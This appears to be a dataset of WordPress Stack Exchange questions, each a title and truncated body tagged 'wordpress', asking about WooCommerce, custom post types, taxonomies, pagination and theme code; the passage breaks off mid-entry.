Woocommerce “out of stock” message Body: By default the ""out of stock"" message is being output as a <p> tag after the product description. How can I change the location where this message is being rendered? ",['wordpress'] "Title: add file upload to post type Body: Short question but how can I include a pdf file attachment upload inside a custom post type? currently creating a new custom post type and I can't see a supports for media upload without the editor... ... ",['wordpress'] "Title: Delete Term via edit-tags.php Body: I might get rep'ed down on this - but is there suppose to be a ""Delete"" link on the edit-tags.php page? Note: not the WP-List-Table, but the actual page where you specifically view the terms ... ",['wordpress'] "Title: Pagination difficulty using custom query in genesis-based custom theme Body: I am creating a genesis child theme. I have a category called 'faculty' with about 60 posts in it. I am modifying the category template file so that it displays this category in a customized fashion. ... ",['wordpress'] "Title: List post only under the category, exclude child category content Body: I wanted to list posts which are directly under a category and not inside the ""sub category"". In other words, I want to hide all the posts which are from ""Sub Category"" in the Parent category view. ... ",['wordpress'] "Title: Woocommerce: Changing the variations select default value? Body: At my site i want to change the default value of the selecter that appears, when different variations exists. If anyone can give me a clue of how and where this is done, it would be highly ... ",['wordpress'] "Title: WooCommerce Cart not showing up [closed] Body: I have just installed the WooCommerce plugin on my existing Wordpress theme. I have integrated the plugin using the correct functions as found in the WooCommerce integration guide. Now the shop ... ",['wordpress'] "Title: Advanced custom fields and Slideshow gallery desn't work together? [closed] Body: Im using WordPress 3.5.1 and the twentyten theme. I'm using advanced custom fields and want to ad a slideshow. I'm using the plugin Slideshow Gallery ( ... ",['wordpress'] "Title: the_meta - no get_the_meta query? Body: I want to use the_meta as though it were get_the_meta. I want to do this because when i use the_meta in my functions.php file (I'm using a shortcode to enter data to pages), it posts the meta ... ",['wordpress'] "Title: Replace post/page titles with an image in Wordpress Body: I have a Wordpress theme bought from a well known site. I'm trying to change the location of the main site logo to where the page/post titles appear. The page.php for the title is as follows; How ... ",['wordpress'] "Title: PHP if post is already displayed, then Body: I have created a new page with a jquery carousel which rotates between various different news topics. You can see here: However below the carousel is a static list of additional headlines. What I ... ",['wordpress'] "Title: Pagination paginate_links() Not Working [duplicate] Body: Here's my code <?php query_posts(array('category_name'=>'nutrition','posts_per_page'=>'3','paged' => get_query_var('paged'))); while ... ",['wordpress'] "Title: Wordpress <!--more--> adding a <br> to my anchor for Read More Body: When creating a post within my wordpress site (using the editor) I want to add the short code, or even use the link at the top of the editor to do so. The end result is (it does create the excerpt ... ",['wordpress'] "Title: Adding Categories Through Function Body: I am creating a template theme for WP and am wondering if there is a way of the theme adding new categories to the db, through the functions.php upon activation of the theme. It seems like a fairly ... ",['wordpress'] "Title: Move terms from one taxonomy to another keeping the hierarchy Body: I am creating a custom taxonomy for the first time. I am trying to add a Location taxonomy. What I am actually trying to do is use existing categories to make them into locations. I went into the ... ",['wordpress'] "Title: wp ultra simple paypal cart plugin Body: Just wondering if anyone has experience the 'wp ultra simple paypal cart plugin'? I've added to my site and as I'm UK based, i've changed the currency in settings to reflect this: Currency 'GBP' ... ",['wordpress'] "Title: Consequences if using PHP include TEMPLATEPATH? Body: I have created a Theme Options page using Settings API so now I need to style it using CSS. Instead using function like this inside functions.php function mytheme_add_init() { if ( is_admin() ) { ... ",['wordpress'] "Title: Is there a way to use latex \cite{reference} in wordpress? Body: I am using QuickLatex plugin and it works great. But when I tried to cite some references using \cite{paper1}, it did not seem work. [latexpage] Here is a citation \cite{example}. ... ",['wordpress'] "Title: Show custom post along with default post Body: I've created a custom post type named ""image"". Now my theme shows posts on homepage in three parameters- Fresh, Featured, Random(i'm feeling lucky). How can i add custom posts in there. here is the ... ",['wordpress'] "Title: Hooks - Query about WooCommerce plugin integration to non-compatible theme Body: I am quite new to WordPress and wish to learn more about hooks and how to use them. Could anyone point out the necessary hooks in this page.php code to replace the markup in the following WooCommerce ... ",['wordpress'] "Title: Display post excerpt instead of content, if available Body: I'm planning to display the post excerpt instead of the content if available and auto generate excerpt from the content if not available with the function below: <?php the_content( __( 'Continue ... ",['wordpress'] "Title: How to get all custom fields with some prefix in key? Body: I have near 100 custom fields for each post with prefix ""wps_"" (examle, wps_imagine, wps_video, etc) and near 20 custom fields without prefix. Problem that I don't know names of custom fields with ... ",['wordpress'] "Title: WordPress Check User Role Function (multiple roles)? Body: I'm playing around with the check_user_role function put together by AppThemes; as mentioned in the WordPress current_user_can codex page. In the AppThemes tutorial code it references the following: ... ",['wordpress'] "Title: Break comments into pages with remainder on the first page Body: Settings > Discussions has a setting called Break comments into pages with (N) top level comments per page and the (last or first) page displayed by default. Now I want to break into 30 comments per ... ",['wordpress'] "Title: Advanced custom field - gallery - display one random image Body: I created a gallery with the ""gallery add-on"" of ""advanced custom field"" plugin. I'm trying to show one random image from the gallery on page refresh. Here's my code: <?php $gallery = ... ",['wordpress'] "Title: SQL Bulk Move old posts by one author to another category Body: I'm looking to move a number of old posts by one author from one category to another category and was hoping someone could help me do this? I figure the easiest way would be through an SQL command? ... ",['wordpress'] "Title: Template for page with overridden Theme Body: I think I've got a somewhat uncommon issue. My wordpress site uses a custom theme, but I wanted to add a blog alongside that, without using multisite because my host charges 3x the amount for such a ... ",['wordpress'] "Title: _wp_attachment_metadata necessary for importing images into wp_postmeta table Body: I'm working on a project to convert an older custom developed PHP site into a WordPress site. One of the problems I'm trying to figure out is how to import all the images from the old site and ... ",['wordpress'] "Title: What does get_current_screen() do? Body: Codex says ' This function returns an object that includes the screen’s ID, base, post type, and taxonomy, among other data points' . What does it mean by 'screen'? Coding example: function ... ",['wordpress'] "Title: Can't access admin: “Not Acceptable” Body: Today I tried to access the admin panel for a basic Wordpress site. It has no plugins, and uses the default theme. I haven't modified any files. Any admin url returns an HTTP 406 ""Not Acceptable"". ... ",['wordpress'] "Title: Use oEmbed in List Items Body: I'm aware that WordPress has oEmbed functionality. But the content to be embedded has to be on it's own line like so: Lorem Ipsum http://www.youtube.com/link/to/content More Lorem Ipsum ... ",['wordpress'] "Title: Converting static website to wordpress Body: I have a static website http://www.powersolutionindia.com/ which i want to add blog functionality. There are approximate 10 static html pages in this website, just i want to add seamless blog to this ... ",['wordpress'] "Title: Lightbox Post Pop-up on homepage [duplicate] Body: I've been working on sampression lite theme and what I want to achieve is when a post' thumbnail/read more link on homepage is clicked, a modal will pop-up ( similar to pinterest and this wp theme ... ",['wordpress'] "Title: Update permalinks after domain change Body: I installed my blog in a free hosting webpage, the hosting gave me a free domain and I used that domain in my blog, then I did buy a .net domain, I changed the URL in Settings->General of my ... ",['wordpress'] "Title: Identify and display the fact that user is admin next to username in comment section Body: For all users to see. Not only the admin in cause. Also I am using a plugin called simple user ranking for displaying the user rank which is calculated for the number of comments posted, so I need to ... ",['wordpress'] "Title: WooCommerce: Add 'revisions' support to products Body: I need to have 'revisions' support for products in WooCommerce. I understand it's not been designed to work properly with revisions (all the custom fields) but really all I need this for is to keep ... ",['wordpress'] "Title: restrict_manage_post to remove filters Body: Using restrict_manage_post, is it possible to remove default WP-List-Table filters? Example that I tried, but failed below: add_action( 'restrict_manage_post', 'remove_cpt_filters', 99); function ... ",['wordpress'] "Title: How to utilize theme customizer live preview in this situation? Body: Short version: I am using the theme customizer in my theme and javascript for the live preview. I am not sure how to implement the javascript for php(as seen in code excerpt). I am creating a theme ... ",['wordpress'] "Title: Display custom list of tags in post/page editor with hooks Body: I used the information posted on this blog post to display specific tags when editing a post. The editors on my site wanted the ability to display pre-specified tags instead of the most popular ones. ... ",['wordpress'] "Title: How do spam users register while I've only enabled registration by Gmail via Janrain? Body: In wp-login.php?action=register, I've disabled text fields (sorry this web site is in Japanese only but hope you can see that there's no text field) and enabled registration only via social login by ... ",['wordpress'] "Title: How can I insert a dynamic URL in my email template? Body: I'm not sure if that's even possible, but I thought I should give it a try. I'm using WP Better Emails plugin in order to create HTML emails for my buddypress website. I want to add to the footer an ... ",['wordpress'] "Title: Creating a new post every time an image is uploaded Body: I'm making this question because the one I found by searching seems not to work. I have a custom post type project on my theme. When I upload an image via the media library in the wordpress backend I ... ",['wordpress'] "Title: Complex WP_Query Using Post Date And Post Meta Body: I am using Wordpress as a CMS on a website which has standard posts, a custom advert post type and a custom event post type. The event post type has some custom meta which stores the event start date. ... ",['wordpress'] "Title: Creating Theme Options Page Body: I was creating a theme options page based on a tutorial by Tom McFarlin at TutsPlus and I'm a little stuck. I can't understand where the code goes bad here, because it doesn't allow me to access the ... ",['wordpress'] "Title: Retrieve page content and pass to PHP? Body: I'm new to WP but not PHP. I've a custom page that I have a PHP call to do some processing on the page content. the_content() even when enclosed in a function call <?php ... ",['wordpress'] "Title: Gallery order specified by shortcodes is ignored in gallery function Body: I have the following gallery order in a shortcode: [gallery ids=""1996,2431,372,447,645,641,647,642,649,643,650,648,653,697,652,390""] And I have this function, which creates a nicer looking gallery: ... ",['wordpress'] "Title: Google Authorship on a multi-author blog? Body: I hav been having some difficulties getting authorship set up for a multi-author blog. Everything appears to be set up correctly, but I am wondering if having multiple rel=""author"" tags on the home ... ",['wordpress'] "Title: Switch Categories on a Specific Date? Body: I usually like to provide a code I've started with and have others help me out with it - but this is one where I don't even know where to begin. I would like to be able to set a date on posts in ... ",['wordpress'] "Title: need help adding a new sidebar to a page that can't use page-templates -> multisite Body: This problem is quite complex and hard to describe so bare with me. I'm trying to add a new sidebar to my test-page before I put it live. Basically I've got a website with wordpress installed and ... ",['wordpress'] "Title: Limit post view and management to custom user meta information Body: I added custom user meta information called ""schools"" and I want the editors to only be able to manage posts made by other users who are from the same school. How do I do that? ",['wordpress'] "Title: Split WordPress page into two sections Body: I want do divide my wordpress into two scopes. The home would have two (or sometimes more) links. I then want the permalink structure to be ... ",['wordpress'] "Title: Rewrite custom post type url's adding meta box values Body: I've got these custom post types (CPT) and meta boxes: Movies (CPT) Genre (Meta box) Genres (CPT) If one movie is called Die hard then I want the permalink to be: /genres/action/die-hard This ... ",['wordpress'] "Title: Unit testing wordpress plugins with plugin options Body: I'm new with unit testing in Wordpress. I managed to setup the unit testing environment using PHP Unit and Wordpress tests but I am having trouble accessing the plugin options that I've set in the ... ",['wordpress'] "Title: WPDB Query Question with Category Only Body: I am trying to pull up posts from only category ID 18 with this query for a plugin I am working on but it will not work. I can not use query_posts or WP_Query in the place I am using this. global ... ",['wordpress'] "Title: Dont' charge customer until product ships - woocommerce Body: Is it possible to set woocommerce to not charge the customer until the product actually ships? ",['wordpress'] "Title: Change upload directory and url Body: I am developing a plugin and I changed the upload directory of the v.3.5 media uploader to this: \wp-content\plugins\deixto\cle. I used the following function and filter: function ... ",['wordpress'] "Title: Character \ appearing before ' after saving a settings page Body: It's a strange issue and I've seen it happen with plugins, however I don't know how to fix it. Maybe just a PHP issue? Anyhow, I have a settings/options page with several text areas. Upon saving, a ... ",['wordpress'] "Title: How to get alphabetic listing x other posts, based on first letter post? Body: Let's say I have a post called ""Hello World"" and I am on that page... Let's say I have different posts like ""Haaaa"" and ""Hoooo"".... What I want to do is showing Haaa and Hooo in a different place (let ... ",['wordpress'] "Title: Add “Write For Us” Option Body: My WordPress site is located at Howbees. I would like to add an option of ""write for us"". Is there a plugin for that? I've searched and found that it can be achieved using registration and then ... ",['wordpress'] "Title: ZIP up all images displayed in a [gallery] and offer as download link Body: I would like to offer my visitors the option to download the entire photo gallery (displayed on dedicated [gallery] pages) as a ZIP file displayed at the bottom of each gallery page. - The full-sized ... ",['wordpress'] "Title: .htaccess redirect not properly working [ ?utm_source=] Body: I have a wordperss blog. This blog has two domain names (example1.com and example2.com). In my situation, example1.com redirected to the example2.com. This redirecting work properly. I saw that ... ",['wordpress'] "Title: Create post thumbnails from images stored outside of uploads directory Body: I am redoing some of my older blogs and I noticed with the new themes most of them take advantage of featured images which is fine. The problem is a lot of my older posts that was never set either ... ",['wordpress'] "Title: Custom WP_Query for WordPress Search Results with meta_query Body: I am using a custom query to generate my search results. The code I am using works perfectly without the meta_query variables in my arguments array. I am trying to compare multiple custom fields with ... ",['wordpress'] "Title: ol children instead of ul children Body: I've created a new walker class to display a custom layout when using the wp_list_comments(); function and this is perfect, the only thing is that all replies to one comment are listed in a <ul> ... ",['wordpress'] "Title: the_post_thumbnail(“size”) returns same image for all sizes except thumbnail Body: I've got 3 default image sizes set up in ""Setting > Media Settings > Image Sizes"" However, when I use anything but ""thumbnail"" as the image size parameter in the_post_thumbnail(), it returns the full ... ",['wordpress'] "Title: Display posts of the last 7 days Body: I'm trying to display the 5 best rated posts of the last week (7 days) on my website, however I can't seem to figure out how to display them. Here's what I've achieved so far but it doesn't seem to ... ",['wordpress'] "Title: Can't show comments count per post outside loop Body: How can I show the amount of a comment per post outside the loop? I tried this in a function already: ' . get_comments_number . ' , but that outputted the text ""array"" on the screen... What do I have ... ",['wordpress'] "Title: WP-Admin How to display a plugin menu to a group Body: I am using the Wordpress ""User Role Editor"" plugin in WP 3.5.1 and want to display a plugin menu > page in WP-Admin to the Author group. The Plugin page is the ""NMRepoManager > File Statistics"" page ... ",['wordpress'] "Title: Extracting post categories Body: I'm in the middle of assisting a colleague in reconfiguring a Wordpress database for use on another platform. The database is essentially details regarding all the posts and accompanying metadata, ... ",['wordpress'] "Title: Disable Media Uploads to non Admin Users Body: I am working on a clients site, one of the features they want is for his Editors or Authors to only be able to select existing images to insert into Posts from the Media Library. So looking at the ... ",['wordpress'] "Title: Add a prefix term in a custom taxonomy slug Body: I am looking to rename the slug of a custom taxonomy when inserting a new term, adding to the default slug a prefix. For example, if the term name is ""something"" I want the slug is ""prefix-something"" ... ",['wordpress'] "Title: WordPress & External Page: 404 error in IE and some others Body: I'm working some API. Core is WordPress. Okay, let me paste a sample: <?php include_once('../wp-blog-header.php'); $roll= esc_attr($_GET['roll']); if ( $roll != """" ) { $args = array( ... ",['wordpress'] "Title: Woocommerce Emails not being sent Body: I would like to know the best way to debug email issues in woocommerce when the mails are not being sent for any account/Order related processes. Thanks ",['wordpress'] "Title: If post exists, make it a comment in existing post with same name? Body: Is it possible to make a comment out of a post that already exists (with the same name). For example, if the post 'Hello World' exists and a users posts another 'Hello World' post, it should make the ... ",['wordpress'] "Title: Run function from parent on child site Body: I'm running a Multisite wordpress installation and have a couple of child sites. Im trying to run a script from the main page on one of the child sites. It can be a shortcode [pro_display_zone ... ",['wordpress'] "Title: How to Display Sequential Post Number Count Body: I know this has been answered at least a couple of times already and there is an answer out there from alchymyth2010 but I am looking for a different solution if possible because I have a fairly big ... ",['wordpress'] "Title: Why am I getting blank thumbnails in media library? Body: I run a Multisite installation with 10 blogs. All the other blogs work fine except for one where any image that's uploaded does not show up in the media library. There's just a blank image instead of ... ",['wordpress'] "Title: Get page type to display content Body: I have some checkboxes to select where can I display my plugin and I save in db in this format: Show popup in this pages: x Article (Public) x Pages (Public) x File (Public) x Revisions (Not ... ",['wordpress'] "Title: Batch upload to create posts each with one image, headline, and body text Body: I've been handed 300 images, 300 headlines, and 300 paragraphs by a client. Is there a way for me to place all of this in a CSV file (or other format) and upload the whole shebang into a fresh ... ",['wordpress'] "Title: Custom taxonomy rewrite using tax name instead of rewrite slug Body: I Created a custom taxonomy for my projects custom post type. function projects_taxonomy() { $labels = array( 'name' => __('projects Categories'), 'singular_name' => ... ",['wordpress'] "Title: Problems with migrating a WooCommerce orders Body: I am trying to import/export orders from one WooCommerce website to another. After using the WordPress import/export tool for the ""orders"", the individual order page no longer shows the product(s) ... ",['wordpress'] "Title: Ajax : Call undefined function plugin_function() … can't call any plugin function Body: I use a Ajax query to show some content, but I can't use any of my plugins functions. Javascript : $('#load_more').click(function() { var data = { action: 'load_more', id: ... ",['wordpress'] "Title: How to get type of archive whether it is post or date or category archive? Body: using function is_archive() we can know whether it is archive page or not. But if it is archive page how can i find whether it is author archive page or category archive or date archive. I have ... ",['wordpress'] "Title: Author Nickname URL Friendly Body: Using the below code to chnage the author page url to use the ""nickname"". Works ok but when the nickname is more than one word it doesnt make it url friendly. Any way to do this? add_filter( ... ",['wordpress'] "Title: New Table vs Post / Comment Meta Body: I am working on theme where I am adding vote functionality to comments and posts. What should I use, meta tables or create a new table? ",['wordpress'] "Title: Static HTML page caching for large website Body: I'm creating a WooCommerce store with 3000+ products (+filters). And I'm using WP super cache plugin because I want to serve pages as fast as possible. This arises problems/questions: When any post ... ",['wordpress'] "Title: Get TOP x Tags from selected posts Body: I need help on this, the case is I want to get TOP X tags from user post. For example user A wrote 50 post, i want to show TOP 5 tags from that user post, It 's for displaying user interest. second ... ",['wordpress'] "Title: Creating a costing calculator plugin. How can the user create the calculations without coding? Body: I am relatively new to php & wordpress development. I am trying to create a plugin that allows the user to create an unlimited number of costing calculators. Users will be able to add fields ... ",['wordpress'] "Title: Filtering 'the_title' with option to return subhead? Body: Problem: The WordPress iPhone app (and other WordPress-related smartphone apps) do not allow for much other than the Title and Body fields (i.e. no access to custom fields). Goal: My current ... ",['wordpress'] "Title: Making comment persist after error? Body: On my comment form I am using a filter that checks for ""bad"" word. If the message contains one these words, it gets flagged as spam it send a transient message back to the comment page. Now what I ... ",['wordpress'] "Title: WordPress CSS doesn't update Body: I've got a new WordPress website that I'm testing that hasn't been updating properly when CSS styles are updated over FTP. I haven't got a cache plugin and I have cleared my browser cache and have ... ",['wordpress'] "Title: WooCommerce checkout gateway creating redirect loop Body: I have set up PayPal as my payment gateway for WooCommerce, do not have an SSL certificate, and am not forcing SSL. Checkout and payment are set to go to the checkout page. When I try to test the ... ",['wordpress'] "Title: List the categories under custom taxonomy Body: I have a problem here, I registered a custom post type and I named it 'recipe' then I created a custom taxonomy under the post type, I named it 'recipe category'. Now I want to display the of ... ",['wordpress'] "Title: Pinterest Pin It button and facebook thumbnails don't work with uploaded images on Wordpress blog. Why? Body: I have recently migrated from blogger to wordpress, but am having issues with images. Both Pinterest and Facebook are not recognising my new images that I am uploading to wordpress, however they do ... ",['wordpress'] "Title: show shortcodes in editor Body: Is there any way in which i can show custom shortcodes inside the editor panel, I have a bunch that I've created and thought it would be a good idea? Not found anything online other than tutorials on ... ",['wordpress'] "Title: How to pull in photos from an RSS feed on another wordpress.com site Body: I'm creating a ""portal"" (wordpress.org) site and I want to pull in some photos from a related wordpress.com blog site. There is a cartoon on each blog post and I want to display the latest one in my ... ",['wordpress'] "Title: Requires PHP version 5.3.0 Body: When I try to install ""Background Manager"" plugin I am getting this error ""The plugin ""Background Manager"" requires PHP version 5.3.0 or better, but version 5.2.17 was detected"". Could anyone suggest ... ",['wordpress'] "Title: How to display posts from a custom post type grouped by custom taxonomy Body: I am trying to create a table that lists a custom post type (equipment), grouped by custom taxonomy. The table should look like this (this example uses two equipment taxonomies, footballs and cricket ... ",['wordpress'] "Title: Exclude certain block from caching using Fragment Caching - doesn't work Body: I have a one form, and I'm inserting it on page footer from a function file. I need to display a random form to each visitors and thus have a function developed to support this. However, with caching ... ",['wordpress'] "Title: Resize and crop image during upload Body: How to add more function to resize and crop image during upload? I want to creat a avatar upload form on author profile. And size of avatar: 150x150 If file size have width > height => resize by ... ",['wordpress'] "Title: How to Publish WP original Source metabox value on front-end webpage Body: I use a plugin called WP original Source. It lets me add the URL of the original article source, which is handy as it credits the original source of article extracts and summaries that I publish of ... ",['wordpress'] "Title: Multisite on wamp unable to create a new site on first click Body: The Problem: I installed Multisite on WampServer and when i click on ""add site"" the page go blank. Done so far: Downloaded WampServer. Configured virtual host. Downloaded acrylic so i can have ... ",['wordpress'] "Title: Redirect URL to an existing page with query string or #! added on Body: I'm trying to make a photo gallery where the individual photos can be shared on Facebook and Twitter, and when you click the link, the photo that was shared will open in a lightbox automatically. ... ",['wordpress'] "Title: Nameserver Domain Mapping Body: How can I setup domain mapping similar to the method Wordpress.com uses - with custom nameservers? I have used the 'regular' domain mapping process and plugin(s) numerous times, but I want to account ... ",['wordpress'] "Title: Post migration - images do not display Body: Here is migration quandry - going from one host to another. The blog domain name is unchanged. backed up the file system with everything to a .bz2 backed up the SQL DB ftp'd the file system bz2 to ... ",['wordpress'] "Title: wp_insert_post sometimes fails after API call Body: I have built a plugin that fires an Ajax call to connect to a third-party API. That API returns some Json, which I then save as a custom post with wp_insert_post. Now, usually, this works. But, now ... ",['wordpress'] "Title: first post full width, rest in two columns Body: here is my loop <?php if ( have_posts() ) : ?> <?php /* Start the Loop */ ?> <?php $i = 0; while ( have_posts() ) : the_post(); ?> <?php if ($i++ == 0) : ?> ... ",['wordpress'] "Title: Custom Fields - Boolean Display of True/False to Yes/No Body: I am importing fields from a Real Estate site. The Import of one Custom Field looks like this... Field Name after Import ---> assistedLiving Field Value ---> false to output the display in ... ",['wordpress'] "Title: Copying Custom Meta Values from existing post to a duplicate post Body: I'm trying to revise an existing WP plugin BU Versions to accept different custom meta field values from items I've set-up using the Advanced Custom Fields (ACF) plugin. BU Versions will copy over ... ",['wordpress'] "Title: Show custom image size when all I have is the image URL Body: I'm using the Types plugin for a client's project and they want to output some gallery images as thumbnails which link to the larger versions. The problem is the full size versions are MASSIVE (I ... ",['wordpress'] "Title: Archive Page Pagination not working Body: I am using the following template for a custom post type. The pagination does not work as you can see at http://www.xava.ie/testimonials Any hints as to why it is not working for me? <?php ... ",['wordpress'] "Title: Breadcrum not displaying the parent page Body: I have few pages - HOME - SERVICES ---- MY SERVICE My problem is that when I open My service page the breadcrumb looks like this: home > My service And I would need the parent to be there: ... ",['wordpress'] "Title: Creating Multiple Admin Widget Page with Calling One Sidebar Body: Does anyone know how to create multiple admin widget pages with calling specific sidebars? In Detail, I have a custom post type called Groups and I am creating new admin pages in the back end. I ... ",['wordpress'] "Title: Embedding Separate YouTube Players for Each Video in a YouTube Playlist? Body: I've seen a lot of plug-ins and things that make new posts out of each video in a playlist, but I'm trying to figure out a way to grab all videos from a playlist and list them as separate YouTube ... ",['wordpress'] "Title: Creating Advanced Search with text & Dropdowns Body: I am working to develop an advanced search option. Where there will be fields: Text input Field (Post Title) Dropdown (it will be a taxonomy) Dropdown (it will be a taxonomy) Basically I need ... ",['wordpress'] "Title: Search Woocommerce product titles only Body: Limiting post search to titles only is a breeze, but WooCommerce's post types don't abide by this rule. I have tried modifying the code below to be specific to products but am not having any luck. ... ",['wordpress'] "Title: disable wpautop but keep line breaks Body: How can I disable automatic paragraph tags, but retain line breaks? I have used this to remove wpautop: remove_filter( 'the_content', 'wpautop' ); remove_filter( 'the_excerpt', 'wpautop' ); But ... ",['wordpress'] "Title: How to add exception to Wordpress's web.conf Body: I have a WordPress install on a Windows/IIS server. But, WordPress's URL rewrite rule is preventing the redirect in a sub-directory from being executed. I tried adding a condition to WP's rule, but ... ",['wordpress'] "Title: How do I find posts? Body: I am a new website administrator and I am having issues with posts not showing on dashboard. Posts All(21) Published (13) Pending (8). This is a listing site and the posts used to show up. Any ... ",['wordpress'] "Title: Display random posts, but omit the post it is on? Body: I am trying to have a section under a single post where it displays completely random posts. I got everything working, but every once in a while one of the random posts that get displayed is the ... ",['wordpress'] "Title: Enable comments for post when comments meta box removed Body: I've hit the issue described in '11: ""Enable comments for post with comments meta box removed"" and I'd like to ask for your help to adapt the mentioned there code to the current wordpress version. I ... ",['wordpress'] "Title: Multiple select box navigation Body: I've spent several days trying to sort this out but I'm not getting anywhere... :( I have a page that has event result tables. I have each result table on its own page. I want the users to be able to ... ",['wordpress'] "Title: wp_head() - list hooked actions with priorities? Body: I'd like to add something to wp_head() but I'm aiming precise location (like after style.css but before rtl.css and before my other custom script). I'm wondering if it's possible to list everything ... ",['wordpress'] "Title: Group pages by custom field values Body: I plan to have each individual product as a page, with custom fields for : Brand, size, feature 1 and feature 2. My question: Will it be possible to build a summary page template say for Brand, ... ",['wordpress'] "Title: Is it possible to make wp insert last comment onto another page Body: If we set wp to break comments into pages after X nr of comments and we have X+1 comments , wp only shows that last comment instead of showing X and move the comment from bottom onto the next page. ... ",['wordpress'] "Title: how to set up wp in folder within static website? Body: In my server I have the following file structure: www/ index.html js/.. css/.. img/.. index.html ... blog/ .htaccess index.php wordpress/ .htaccess wp-config.php ... ",['wordpress'] "Title: Wordpress Site login problem with facebook, twitter and other social media Body: I am running My Wordpress Powered Website on a free hosted platform and the provider blocked PHP curl extension. I want to let visitors login with facebook and other social platforms. I tried with ... ",['wordpress'] "Title: Help with recreation of custom archive area Body: I have a client who would like to emulate the way the archive works on this site, http://www.garancedore.fr/archives/ We're not so much bothered about the ajax reloading, but rather the /archives/ ... ",['wordpress'] "Title: How to point my domain to a Wordpress install in a sub-directory? Body: I have recently been re-designed a client's website (whose website is - for example purposes - mywebsite.co.uk)/ I have developed the new website (a heavily modified wordpress install) in a ... ",['wordpress'] "Title: How to create an API for my plugin? Body: I have been developing plugins for WordPress. Most plugins I have developed with two three classes and not so huge like Buddypress, WooCommerce or etc. I am planning to make two open source plugins ... ",['wordpress'] "Title: Word Count Function Preventing Permalink Editing Body: This code counts the number of words in an excerpt and adds it to the excerpt meta box in the post edit screen: http://snippi.com/s/sn3hk5p However, something about this code is preventing the ... ",['wordpress'] "Title: nav menu with categorized child pages Body: I'm a bit new to the whole customizing wp nav menus and have exhausted all ideas. I want to output a completely custom nav that first displays all top level list items. ... ",['wordpress'] "Title: Integrating Meet-up feeds into the regular portion of a Wordpress blog Body: Good day, This is the first question I've ever posted on StackExchange. I've set up a WordPress site for our local makers group, www.redmountainmakers.org. My problem is that I've been asked to ... ",['wordpress'] "Title: Auto create child taxonomies when Parent taxonomy is created Body: As the title says...How can i have child taxonomies to be automatically created when a parent taxonomy is manually created, Like this Parent Taxonomy : USA ------------------> Manually created ... ",['wordpress'] "Title: How to remove thumbnail sizes for specific post type on a child theme? Body: The theme I'm using includes a slideshow that generates an additional 4 image sizes for every image that is uploaded. I don't need to have all those images being generated for every image. Is there ... ",['wordpress'] "Title: How can someone submit a comment when my site has no comment field? Body: I was a bit surprised when I got a message that a comment was awaiting moderation on a website where I have I have turned off Allow people to post comments on new articles and there are no comment ... ",['wordpress'] "Title: Get custom_user meta value and add entry Body: I created a custom user meat value and want to add a new key/value to this array. But somehow I can't get it to work correctly, I always get a new array in side the array so that I always have e new ... ",['wordpress'] "Title: Get value from db for custom contact form Body: I built my own contact form (no plugins) and want to have a secure way to get an emailadress from my option page. get_option and other built in WP stuff doesn't work from within my process.php file. ... ",['wordpress'] "Title: when implementing a “GET_Template_part”, something weird happens Body: OKay, i read the wordpress codex about get_template_part. i get it work, BUT, when it load the .php, it actually prints out the text/word: get_template_part() right before the rest of the ... ",['wordpress'] "Title: Displaying a custom field containing a list creates unwanted markup Body: I display my custom field like this : <p><?php echo get_post_meta($post->ID, $my_field, true); ?></p> As long as the field contains plain text, the markup is normal : ... ",['wordpress'] "Title: Add an A-Z menu at the top of A-Z listing code Body: I have the following code that is creating a and A-Z listing of my Posts in a Custom post type. I'd like to somehow create a A-Z menu at the top which links down to its respective anchor. I just can't ... ",['wordpress'] "Title: Network site configuration problems Body: I've been running a WordPress blog for over half a year with no problems [so the hosting should be compatible] and now wanted to install a Network so I could have more than one blog. The least-buggy ... ",['wordpress'] "Title: Setting two top level domains for multisite Body: Here is my situation: We have a multisite set up for a .com domain with multiple subdomains: en.domain.com, fr.domain.com, es.domain.com, etc. For legal reasons when our visitors come from the ... ",['wordpress'] "Title: how does offset works on Pagination? (get_results) Body: I followed this link and created my own custom query with pagination.. but I don't really understand how the offset works, Pagination with custom SQL query the pagination does not work well. and I'm ... ",['wordpress'] "Title: WooCommerce : Direct Checkout Page Body: I would like to redirect to the checkout page directly upon clicking the ""add to cart"" button. Or a Direct Buy Now Feature. How can this be done? Thanks ",['wordpress'] "Title: How to deal with the confliction between PHP-Markdown and MathJax? Body: I use PHP-Markdown plugin in WordPress. In order to show the formula beautifully, I add some code to use MathJax. Like this: <script type=""text/javascript"" ... ",['wordpress'] "Title: Exclude a 'portfolio' custom category? Body: I have a custom post type called 'portcat' and I want to exclude one portcat category ('weather' - ID='5') from the page. I've tried 'category__not_in' => array( 5 ) but apparently this doesn't work ... ",['wordpress'] "Title: Run a query when in last category Body: Can anyone help? ive searched google but with no luck. currently Accounts has sub categories but no posts /accounts/ = /billing1/ + /finance/ Billing and finance have posts but don't want ... ",['wordpress'] "Title: Update post_title and detail_url during “pods_api_post_save_pod_item” action in pods framework Body: I would like to generate the pod item title and slug/permalink/detail_url programmatically using some of the custom fields I set up. With the “pods_api_post_save_pod_item” I get $pieces, that has ... ",['wordpress'] "Title: Permission denied in template-loader .php Body: Oh man. I tried to create a custom page template for a page on my site page-cumberland-principles.php When I go to view that page, the page showed up completely blank. I used wp_debug, and found ... ",['wordpress'] "Title: nowplaying.include.php Will Not Display Results Body: Cyberchimps.com recommended I post here as they believed there may be a global issue with my request. I thought what I was missing was obvious and simple, but two months into this and being referred ... ",['wordpress'] "Title: Empty Super Cache programmatically (with ACF action) Body: I regularly use Advanced Custom Fields to create awesome backend interfaces for my clients (as I'm sure a lot of us do…). ACF includes an Options add-on that creates one or multiple global options ... ",['wordpress'] "Title: Visual editor in comments with custom buttons Body: I have loaded WP visual editor in comments using wp_editor function and I want to customize the height and buttons of the editor, also it would be much better to show Text mode/tab only and disable ... ",['wordpress'] "Title: how link multiple custom taxonomy posts to specified page Body: $myquery['tax_query'] = array( 'relation' => 'OR', array( 'taxonomy' => 'brands', 'terms' => array('ALL'), 'field' => 'slug', ), array( 'taxonomy' => 'media', ... ",['wordpress'] "Title: Stop a plugins js and css from loading on all pages and show up only where it is called Body: This plugin has an unique way of registering styles and scripts so I have no idea on how to stop it from loading on all my pages. After a quick search to see where wp_enqueue_style&script is I ... ",['wordpress'] "Title: Google Search and Own Website Search? Body: I am using Google Custom Search Plugin . But when I am searching any thing by selecting google it shows the results that matches to any keyword on my server websites but I want it too search the ... ",['wordpress'] "Title: Post preview gives 404 when permalinks are purely date based Body: I have an issue pertaining specifically to the situation in which permalinks are set to be based only on publication date. My permalink structure is as follows: /%year%%monthnum%%day%/ When I try to ... ",['wordpress'] "Title: Is the wordpress user-model changed in wpmu? Body: I'm running 